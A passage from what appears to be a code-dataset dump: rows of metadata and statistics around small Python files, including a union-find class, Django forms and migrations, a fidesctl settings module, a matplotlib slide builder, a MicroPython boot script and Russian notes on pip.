| 33.484848 | 126 | 0.59095 | 138 | 1,105 | 4.731884 | 0.514493 | 0.073507 | 0.042879 | 0.058193 | 0.061256 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034335 | 0.156561 | 1,105 | 32 | 127 | 34.53125 | 0.666309 | 0.132127 | 0 | 0.190476 | 0 | 0 | 0.348326 | 0.100418 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.095238 | null | null | 0.47619 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
61fc1cce220c5f62f8a992740a33f02b36ad4024 | 462 | py | Python | unionfind-component.py | surpace/shed | ed6db5417080adf2e49b3b5e64cb39aadd03d30c | [
"Unlicense"
] | 2 | 2021-06-24T04:40:23.000Z | 2022-01-27T11:57:28.000Z | unionfind-component.py | magurofly/shed | a52fe9321e5fa8fea9a8abd33ec95c8f6a8186b6 | [
"Unlicense"
] | null | null | null | unionfind-component.py | magurofly/shed | a52fe9321e5fa8fea9a8abd33ec95c8f6a8186b6 | [
"Unlicense"
] | null | null | null | class UnionFind:
def __init__(self, size):
self.parent = list(range(size))
self.component = [[i] for i in range(size)]
def root(self, i):
if self.parent[i] != i:
self.parent[i] = self.root(self.parent[i])
return self.parent[i]
def unite(self, i, j):
i, j = self.root(i), self.root(j)
if len(self.component[i]) < len(self.component[j]):
i, j = j, i
self.parent[j] = i
self.component[i] += self.component[j]
| 27.176471 | 55 | 0.588745 | 76 | 462 | 3.526316 | 0.25 | 0.223881 | 0.164179 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231602 | 462 | 16 | 56 | 28.875 | 0.75493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0 | 0 | 0.357143 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
61fe86fe25a1b90d7d2ce08c9b13a1d4a4ebaba1 | 1,163 | py | Python | migrations/0003_auto_20160930_1319.py | gtoffoli/commons-cops | e4b1f556c550e25bb2e6a9eabe8db963877c08d3 | [
"MIT"
] | 5 | 2016-11-13T02:41:02.000Z | 2020-01-20T10:01:26.000Z | migrations/0003_auto_20160930_1319.py | gtoffoli/commons | 8b51a08a37c6d0b38fd4ecde82c20036c2dc168f | [
"MIT"
] | null | null | null | migrations/0003_auto_20160930_1319.py | gtoffoli/commons | 8b51a08a37c6d0b38fd4ecde82c20036c2dc168f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('commons', '0002_auto_20160909_1217'),
]
operations = [
migrations.AddField(
model_name='learningpath',
name='original_language',
field=models.CharField(default=b'', max_length=5, verbose_name='original language code', db_index=True),
),
migrations.AddField(
model_name='oer',
name='original_language',
field=models.CharField(default=b'', max_length=5, verbose_name='original language code', db_index=True),
),
migrations.AddField(
model_name='project',
name='original_language',
field=models.CharField(default=b'', max_length=5, verbose_name='original language code', db_index=True),
),
migrations.AddField(
model_name='repo',
name='original_language',
field=models.CharField(default=b'', max_length=5, verbose_name='original language code', db_index=True),
),
]
| 33.228571 | 116 | 0.618229 | 121 | 1,163 | 5.710744 | 0.338843 | 0.138929 | 0.231548 | 0.156295 | 0.696093 | 0.696093 | 0.696093 | 0.696093 | 0.696093 | 0.696093 | 0 | 0.024419 | 0.260533 | 1,163 | 34 | 117 | 34.205882 | 0.77907 | 0.018057 | 0 | 0.571429 | 0 | 0 | 0.185965 | 0.020175 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1103bdb6a4e53c9fc2917989d4a77563fda1cb40 | 87 | py | Python | bicycles.py | charliechocho/py-crash-course | b42b8a4c1cb8d76e8316f55c1565ff42d920ee63 | [
"Apache-2.0"
] | null | null | null | bicycles.py | charliechocho/py-crash-course | b42b8a4c1cb8d76e8316f55c1565ff42d920ee63 | [
"Apache-2.0"
] | null | null | null | bicycles.py | charliechocho/py-crash-course | b42b8a4c1cb8d76e8316f55c1565ff42d920ee63 | [
"Apache-2.0"
] | null | null | null | bibycles = ['monark','crecent','sjösala','scott','giant']
for i in bibycles:
print(i)
| 21.75 | 57 | 0.666667 | 12 | 87 | 4.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 87 | 3 | 58 | 29 | 0.74359 | 0 | 0 | 0 | 0 | 0 | 0.344828 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
110d7d8ac9442976b0181b25d3e2d189969fae37 | 218 | py | Python | cfgr/components/print.py | markkorput/pycfgr | 594fc8d1c36e59e4fcf3e1d0bb5a5db8edf426c5 | [
"MIT"
] | 1 | 2021-09-15T08:40:10.000Z | 2021-09-15T08:40:10.000Z | cfgr/components/print.py | markkorput/pycfgr | 594fc8d1c36e59e4fcf3e1d0bb5a5db8edf426c5 | [
"MIT"
] | 6 | 2019-09-25T08:09:00.000Z | 2019-09-27T12:26:09.000Z | cfgr/components/print.py | markkorput/pycfgr | 594fc8d1c36e59e4fcf3e1d0bb5a5db8edf426c5 | [
"MIT"
] | 1 | 2021-09-15T08:40:14.000Z | 2021-09-15T08:40:14.000Z | class Print:
"""
A simple text-printing component
"""
def doPrint(self, v):
print(v)
@staticmethod
def cfgr(builder):
## outputs
builder.addInput('on').string_to_method(lambda obj: obj.doPrint) | 19.818182 | 68 | 0.66055 | 28 | 218 | 5.071429 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201835 | 218 | 11 | 68 | 19.818182 | 0.816092 | 0.188073 | 0 | 0 | 0 | 0 | 0.012121 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.5 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1115338fa4937fd739900610cd13a24a6a3003f9 | 1,376 | py | Python | src/fidesctl/core/config/cli_settings.py | ethyca/fides | 03f4521cba31f01e482d3b7d02f6f1f59abaae74 | [
"Apache-2.0"
] | 153 | 2021-11-01T20:59:33.000Z | 2022-03-31T02:31:50.000Z | src/fidesctl/core/config/cli_settings.py | ethyca/fides | 03f4521cba31f01e482d3b7d02f6f1f59abaae74 | [
"Apache-2.0"
] | 205 | 2021-11-03T12:33:03.000Z | 2022-03-31T20:33:14.000Z | src/fidesctl/core/config/cli_settings.py | ethyca/fides | 03f4521cba31f01e482d3b7d02f6f1f59abaae74 | [
"Apache-2.0"
] | 24 | 2021-11-03T15:08:14.000Z | 2022-03-30T05:51:45.000Z | """This module defines the settings for everything related to the CLI."""
from typing import Dict, Optional
from fideslog.sdk.python.utils import FIDESCTL_CLI, generate_client_id
from pydantic import AnyHttpUrl, validator
from .fides_settings import FidesSettings
# pylint: disable=C0115,C0116, E0213
class CLISettings(FidesSettings):
"""Class used to store values from the 'cli' section of the config."""
local_mode: bool = False
analytics_id: str = generate_client_id(FIDESCTL_CLI)
server_protocol: str = "http"
server_host: str = "localhost"
server_port: Optional[int]
server_url: Optional[AnyHttpUrl]
@validator("server_url", always=True)
def get_server_url(cls: FidesSettings, value: str, values: Dict) -> str:
"Create the server_url."
host = values["server_host"]
port = values["server_port"]
protocol = values["server_protocol"]
server_url = "{}://{}{}".format(
protocol,
host,
f":{port}" if port else "",
)
return server_url
@validator("analytics_id", always=True)
def ensure_not_empty(cls, value: str) -> str:
"""
Validate that the `analytics_id` is not `""`.
"""
return value if value != "" else generate_client_id(FIDESCTL_CLI)
class Config:
env_prefix = "FIDESCTL__CLI__"
| 29.276596 | 76 | 0.655523 | 166 | 1,376 | 5.228916 | 0.451807 | 0.062212 | 0.0553 | 0.0553 | 0.062212 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011429 | 0.236919 | 1,376 | 46 | 77 | 29.913043 | 0.815238 | 0.172238 | 0 | 0 | 1 | 0 | 0.110816 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
112272652820bbabb6b7fa04c1edc05dffb5e9d9 | 1,217 | py | Python | tests/unit/test_source/test_region.py | rbogdanoff/reactiveaws | 3a4107dd4ade26792f79fecbb4d1e783e4e2580f | [
"Apache-2.0"
] | null | null | null | tests/unit/test_source/test_region.py | rbogdanoff/reactiveaws | 3a4107dd4ade26792f79fecbb4d1e783e4e2580f | [
"Apache-2.0"
] | null | null | null | tests/unit/test_source/test_region.py | rbogdanoff/reactiveaws | 3a4107dd4ade26792f79fecbb4d1e783e4e2580f | [
"Apache-2.0"
] | null | null | null | from nose.tools import *
from unittest import mock
from rxaws.source.region import RegionSource
from rxaws.source.sourcebase import SourceBase
from tests.unit.test_source.test_sourcebase import BaseClient
import pickle
import os
class TestRegion:
fixture_file_name = os.getcwd() + '/tests/fixtures/source/test_region_source.ser'
fixture = pickle.load(open(fixture_file_name, "rb"))
# need to mock the boto3 client
@mock.patch('boto3.client', return_value=(BaseClient()))
def setup(self, mock_client):
# create instance of class under test
self.cut_region = RegionSource()
def teardown(self):
pass
@mock.patch.object(RegionSource, 'execute', return_value=fixture)
def test_source_type(self, mock_region):
# instance iterator should return list
result = self.cut_region.execute()
assert isinstance(result, list), \
'expected list but got %s' % type(result)
# that contains dict elements
elem = result[0]
assert isinstance(result[0], dict), 'expected dict but got %s' % type(result)
# that has expected key
assert 'RegionName' in elem, 'key RegionName does not exist'
| 35.794118 | 85 | 0.687757 | 155 | 1,217 | 5.296774 | 0.464516 | 0.021924 | 0.036541 | 0.026797 | 0.051157 | 0.051157 | 0 | 0 | 0 | 0 | 0 | 0.004224 | 0.221857 | 1,217 | 33 | 86 | 36.878788 | 0.862724 | 0.124897 | 0 | 0 | 0 | 0 | 0.144476 | 0.042493 | 0 | 0 | 0 | 0 | 0.130435 | 1 | 0.130435 | false | 0.043478 | 0.304348 | 0 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
11233ed01a7c79761a239d385fc503a77127d27b | 400 | py | Python | source/sagemaker/package/active_learning/step_functions.py | awslabs/sagemaker-av-visual-perception | 9956c08bc775b012f1d8c768cc79d8366b5c87f0 | [
"Apache-2.0"
] | 1 | 2021-10-20T15:30:08.000Z | 2021-10-20T15:30:08.000Z | source/sagemaker/package/active_learning/step_functions.py | awslabs/sagemaker-av-visual-perception | 9956c08bc775b012f1d8c768cc79d8366b5c87f0 | [
"Apache-2.0"
] | null | null | null | source/sagemaker/package/active_learning/step_functions.py | awslabs/sagemaker-av-visual-perception | 9956c08bc775b012f1d8c768cc79d8366b5c87f0 | [
"Apache-2.0"
] | null | null | null | import boto3
class ActiveLearningPipeline:
def __init__(self, stateMachineArn):
self.stateMachineArn = stateMachineArn
self.sfn = boto3.client('stepfunctions')
def start_execution(self, input_data):
response = self.sfn.start_execution(
stateMachineArn=self.stateMachineArn,
input=input_data
)
return response['executionArn']
| 26.666667 | 49 | 0.675 | 36 | 400 | 7.277778 | 0.5 | 0.217557 | 0.259542 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006645 | 0.2475 | 400 | 14 | 50 | 28.571429 | 0.863787 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.090909 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
112999fbf2071155a554d59505738ac2d66918aa | 1,931 | py | Python | make.py | QuLogic/czi-eoss-2020-mpl | 9ae8d3ff598df7372c6ea833e1e560838463db87 | [
"BSD-2-Clause"
] | null | null | null | make.py | QuLogic/czi-eoss-2020-mpl | 9ae8d3ff598df7372c6ea833e1e560838463db87 | [
"BSD-2-Clause"
] | null | null | null | make.py | QuLogic/czi-eoss-2020-mpl | 9ae8d3ff598df7372c6ea833e1e560838463db87 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python3
"""
Generate slides for the presentation.
Usage: ./make.py /path/to/matplotlib/checkout
You must make a clone of the Matplotlib git repository available, and should
have the Carlito and/or Calibri font installed.
"""
import shutil
import subprocess
import sys
from matplotlib.backends.backend_pdf import PdfPages
from matplotlib.patches import Rectangle
from mplslide import check_requirements
# This must be called before importing other files to make the font available.
check_requirements() # noqa: F402
from title import create_icon_axes
from timeline import slides as history_slides
from feature33 import slides as feature33_slides
from feature34 import slides as feature34_slides
from mine import slides as mine_slides
from demo import slides as demo_slides
from end import slides as end_slides
METADATA = {
'Author': 'Elliott Sales de Andrade',
'Title': 'Matplotlib Presentation for CZI EOSS 2020',
}
MPL_PATH = sys.argv[1]
PAGES = [
# Tuple of function + any arguments.
(history_slides, MPL_PATH, ),
(feature33_slides, ),
(feature34_slides, ),
(mine_slides, ),
(demo_slides, ),
(end_slides, ),
]
with PdfPages('slides.pdf', metadata=METADATA) as pdf:
for page, *args in PAGES:
figs = page(*args)
if not isinstance(figs, (tuple, list)):
figs = (figs, )
for fig in figs:
if not fig.mplslide_props['plain']:
create_icon_axes(fig, (0.825, 0.825, 0.2, 0.15),
0.3, 0.3, 0.3, [5])
fig.add_artist(Rectangle((0, 0), 1, 0.02, color='#4db6ac'))
pdf.savefig(fig)
# Linearize the PDF if qpdf is available.
if shutil.which('qpdf') is not None:
subprocess.run(['qpdf', 'slides.pdf', '--object-streams=generate',
'--linearize', 'czi-eoss-2020-mpl.pdf'])
else:
shutil.copy('slides.pdf', 'czi-eoss-2020-mpl.pdf')
| 29.707692 | 78 | 0.67478 | 268 | 1,931 | 4.776119 | 0.440299 | 0.05625 | 0.065625 | 0.032813 | 0.026563 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037748 | 0.218022 | 1,931 | 64 | 79 | 30.171875 | 0.809934 | 0.204557 | 0 | 0 | 1 | 0 | 0.133858 | 0.043963 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.302326 | 0 | 0.302326 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
11309a19e47ad004bf837055db7218c0268d14a3 | 1,574 | py | Python | users/forms.py | MungaiKeren/Multiple-Users | 7f88e9c1db636f7027e4d61161fa0b2493679a3b | [
"MIT"
] | null | null | null | users/forms.py | MungaiKeren/Multiple-Users | 7f88e9c1db636f7027e4d61161fa0b2493679a3b | [
"MIT"
] | 5 | 2021-03-19T01:53:04.000Z | 2021-09-22T18:52:24.000Z | users/forms.py | MungaiKeren/Multiple-Users | 7f88e9c1db636f7027e4d61161fa0b2493679a3b | [
"MIT"
] | null | null | null | from django import forms
from django.contrib.auth import get_user_model
from django.contrib.auth.forms import ReadOnlyPasswordHashField
User = get_user_model()
class UserAdminCreationForm(forms.ModelForm):
"""A form for creating users"""
password1 = forms.CharField(label="Password", widget=forms.PasswordInput)
password2 = forms.CharField(label="Confirm password", widget=forms.PasswordInput)
class Meta:
model = User
fields = ("email","full_name")
def clean_password2(self):
# check that the two password fields match
password1 = self.cleaned_data.get("password1")
password2 = self.cleaned_data.get("password2")
if password1 and password2 and password1 != password2:
raise forms.ValidationError("Passwords do not match")
return password2
def save(self, commit=True):
# save the provided password in hashed format
user = super(UserAdminCreationForm, self).save(commit=False)
user.set_password(self.cleaned_data["password1"])
if commit:
user.save()
return user
class UserAdminChangeForm(forms.ModelForm):
password = ReadOnlyPasswordHashField()
class Meta:
model = User
fields = ("email","full_name","password","active","admin")
def clean_password(self):
# Regardless of what the user provides, return the initial value
# This is done here rather than on the field,
# because the field does not have the initial value
return self.initial["password"]
| 33.489362 | 85 | 0.680432 | 181 | 1,574 | 5.850829 | 0.436464 | 0.028329 | 0.042493 | 0.03966 | 0.069877 | 0.069877 | 0.069877 | 0.069877 | 0 | 0 | 0 | 0.010744 | 0.231258 | 1,574 | 46 | 86 | 34.217391 | 0.864463 | 0.170902 | 0 | 0.137931 | 0 | 0 | 0.098918 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.103448 | false | 0.482759 | 0.103448 | 0.034483 | 0.551724 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
11470de5218a1b7df4417d60394f260ec6f83a80 | 420 | py | Python | Day 3 Leap Year.py | septhiono/redesigned-meme | f60c889a330e15d4fbb6da2e1306d9c6bf211a35 | [
"MIT"
] | null | null | null | Day 3 Leap Year.py | septhiono/redesigned-meme | f60c889a330e15d4fbb6da2e1306d9c6bf211a35 | [
"MIT"
] | null | null | null | Day 3 Leap Year.py | septhiono/redesigned-meme | f60c889a330e15d4fbb6da2e1306d9c6bf211a35 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sat May 29 03:30:25 2021
@author: Septhiono
"""
year=int(input("Which year would you like to check?"))
if year%4==0:
if year%100==0:
if year%400==0:
print(f"{year} is a leap year")
else:
print(f"{year} is not a leap year")
else:
print(f"{year} is a leap year")
else:
print(f"{year} is not a leap year") | 23.333333 | 55 | 0.528571 | 69 | 420 | 3.217391 | 0.507246 | 0.108108 | 0.18018 | 0.216216 | 0.459459 | 0.459459 | 0.459459 | 0.459459 | 0.441441 | 0.441441 | 0 | 0.079861 | 0.314286 | 420 | 18 | 56 | 23.333333 | 0.690972 | 0.185714 | 0 | 0.636364 | 0 | 0 | 0.399371 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.363636 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
114b67e92c38f635668b4e6cdfd7b14f0de7d812 | 843 | py | Python | Sensors/boot.py | leviner/MicrocontrollerKits | 832d695bd01b9e63dcf67653fbc52a1f84be82ef | [
"MIT"
] | null | null | null | Sensors/boot.py | leviner/MicrocontrollerKits | 832d695bd01b9e63dcf67653fbc52a1f84be82ef | [
"MIT"
] | 13 | 2020-08-24T19:01:37.000Z | 2022-02-15T22:01:56.000Z | Sensors/boot.py | leviner/MicrocontrollerKits | 832d695bd01b9e63dcf67653fbc52a1f84be82ef | [
"MIT"
] | 2 | 2020-08-24T18:26:04.000Z | 2020-09-19T15:50:03.000Z | # This file is executed on every boot (including wake-boot from deepsleep)
# code block from original boot.py on STM32 Micropython v1.13
#import machine
#import pyb
#pyb.country('US') # ISO 3166-1 Alpha-2 code, eg US, GB, DE, AU
##pyb.main('main.py') # main script to run after this one
##pyb.usb_mode('VCP+MSC') # act as a serial and a storage device
##pyb.usb_mode('VCP+HID') # act as a serial device and a mouse
# Import platform-specific definitions
from platform_defs import *
from machine import Pin, I2C
from esp8266_i2c_lcd import I2cLcd
from time import sleep
try:
i2c = I2C(scl=Pin(p_I2Cscl_lbl),sda=Pin(p_I2Csda_lbl))
lcd = I2cLcd(i2c, 0x27,2,16)
exclam_u = bytearray([0x00,0x04,0x00,0x00,0x04,0x04,0x04,0x04])
lcd.custom_char(0,exclam_u)
lcd.putstr('Hello\n'+chr(0)+'Hola!')
sleep(5)
except:
pass
| 29.068966 | 74 | 0.716489 | 148 | 843 | 4 | 0.594595 | 0.040541 | 0.033784 | 0.043919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080737 | 0.162515 | 843 | 28 | 75 | 30.107143 | 0.75779 | 0.507711 | 0 | 0 | 0 | 0 | 0.030227 | 0 | 0 | 0 | 0.09068 | 0 | 0 | 1 | 0 | false | 0.076923 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
114c051a6548d0ab2af102b522f943654d8c7981 | 1,802 | py | Python | src/rabbitmq/rabbit_spider.py | DmitryKovtun/text-splitter | a1d97d2d7f74eeb86b185f2356cabb718f010310 | [
"MIT"
] | 1 | 2020-06-21T02:23:31.000Z | 2020-06-21T02:23:31.000Z | src/rabbitmq/rabbit_spider.py | DmitryKovtun/text-splitter | a1d97d2d7f74eeb86b185f2356cabb718f010310 | [
"MIT"
] | null | null | null | src/rabbitmq/rabbit_spider.py | DmitryKovtun/text-splitter | a1d97d2d7f74eeb86b185f2356cabb718f010310 | [
"MIT"
] | 1 | 2020-06-21T02:23:32.000Z | 2020-06-21T02:23:32.000Z | # -*- coding: utf-8 -*-
import os
import time
from helpers import PikaBlockingConnection
from pika.spec import BasicProperties
from scrapy import Request
from scrapy.settings import Settings
from scrapy.utils.project import get_project_settings
class RabbitSpider(PikaBlockingConnection):
def __init__(self, *args, **kwargs):
self.logger = None
self.channel = None
# will set .channel, .connection and .logger
super().__init__()
self.rabbitmq_connect(get_project_settings())
def rabbitmq_connect(self, settings: Settings):
self.channel.basic_qos(prefetch_count=int(settings.get("CONCURRENT_REQUESTS", 1)))
def prepare_request(self, method, header_frame: BasicProperties, body: str) -> Request:
raise NotImplementedError
def get_queue_name_from(self) -> str:
raise NotImplementedError # example: return os.getenv("PUSHER_QUEUE", "")
def get_queue_name_to(self) -> str:
raise NotImplementedError # example: return os.getenv("SAVER_QUEUE", "")
def declare_queue_from(self):
return self.channel.queue_declare(queue=self.get_queue_name_from(), durable=True)
def declare_queue_to(self):
return self.channel.queue_declare(queue=self.get_queue_name_to(), durable=True)
def next_request(self) -> Request:
while True:
stats = self.declare_queue_from()
if stats.method.message_count:
method, header_frame, body = self.channel.basic_get(self.get_queue_name_from())
if body:
return self.prepare_request(method, header_frame, body)
else:
self.logger.warning("No messages in the queue, waiting...")
time.sleep(int(os.getenv("SPIDERS_SLEEP_INTERVAL", 30)))
| 36.77551 | 95 | 0.68424 | 217 | 1,802 | 5.442396 | 0.359447 | 0.046571 | 0.050804 | 0.040644 | 0.199831 | 0.179509 | 0.179509 | 0.179509 | 0.091448 | 0.091448 | 0 | 0.002835 | 0.216981 | 1,802 | 48 | 96 | 37.541667 | 0.83416 | 0.086016 | 0 | 0.085714 | 0 | 0 | 0.046894 | 0.013398 | 0 | 0 | 0 | 0 | 0 | 1 | 0.228571 | false | 0 | 0.2 | 0.057143 | 0.542857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
115b07a849cd782c951a5d3c7aa7784663f89988 | 1,087 | py | Python | way/python/first_steps/basics/pip.py | only-romano/junkyard | b60a25b2643f429cdafee438d20f9966178d6f36 | [
"MIT"
] | null | null | null | way/python/first_steps/basics/pip.py | only-romano/junkyard | b60a25b2643f429cdafee438d20f9966178d6f36 | [
"MIT"
] | null | null | null | way/python/first_steps/basics/pip.py | only-romano/junkyard | b60a25b2643f429cdafee438d20f9966178d6f36 | [
"MIT"
] | null | null | null | #! Pip, мэнеджер пакетов Pip Installs Packages.
# pip - это система управления пакетами, которая используется для
# установки и управления программными пакетами, написанными на Python.
# Начиная с Python 3.4+ pip поставляется вместе с интерпретатором.
# Установка пакета с помощью pip:
# pip3 install numpy
# ОКАЗАЛОСЬ У МЕНЯ НЕТ PIP ... СЕЙЧАС УСТАНОВЛЮ.
# ОКАЗАЛОСЬ ЧТО ЕСТЬ И РАЗОБРАЛСЯ. ПОНЯЛ ЧТО МЕНЕДЖЕР ПАКЕТОВ.
# На линуксе:
# sudo pip3 install <package>
# Если не сработает - путь прописать дл pip3.py абсолютный
# Команды:
# pip help - помощь по доступным командам.
# pip install package_name - установка пакета(ов).
# pip uninstall package_name - удаление пакета(ов).
# pip list - список установленных пакетов.
# pip show package_name - показывает информацию об установленном пакете.
# pip search - поиск пакетов по имени.
# pip --proxy user:passwd@proxy.server:port - использование с прокси.
# pip install -U - обновление пакета(ов).
# pip install --force-reinstall - при обновлении, переустановить пакет,
# даже если он последней версии.
| 36.233333 | 73 | 0.74333 | 141 | 1,087 | 5.70922 | 0.666667 | 0.037267 | 0.040994 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005624 | 0.182153 | 1,087 | 29 | 74 | 37.482759 | 0.899888 | 0.926403 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
febaf56c6caf3cc3362285d81a7c81e2a06ca2e5 | 459 | py | Python | Week_1/ex1.py | babosina/Coursera-Python-HSE | 3629c49df906324d14e8e591264b0f71d295a114 | [
"MIT"
] | null | null | null | Week_1/ex1.py | babosina/Coursera-Python-HSE | 3629c49df906324d14e8e591264b0f71d295a114 | [
"MIT"
] | null | null | null | Week_1/ex1.py | babosina/Coursera-Python-HSE | 3629c49df906324d14e8e591264b0f71d295a114 | [
"MIT"
] | null | null | null | """
Напишите программу, которая приветствует пользователя, выводя слово Hello, введенное имя и знаки препинания по образцу.
Программа должна считывать в строковую переменную значение и писать соответствующее приветствие.
Обратите внимание, что после запятой должен обязательно стоять пробел, а перед восклицательным знаком пробела нет.
Операцией конкатенации строк (+) пользоваться нельзя.
"""
greeting = input()
print('Hello,', greeting, end='')
print('!')
| 41.727273 | 119 | 0.797386 | 53 | 459 | 6.90566 | 0.924528 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124183 | 459 | 10 | 120 | 45.9 | 0.910448 | 0.83878 | 0 | 0 | 0 | 0 | 0.106061 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
fec31e4699a5cbe7d6b0816792084c922f9b9797 | 986 | py | Python | app.py | amdexa/web-console | 75621a3e24e9b57fc160bb7dd4081230600a7309 | [
"BSD-3-Clause"
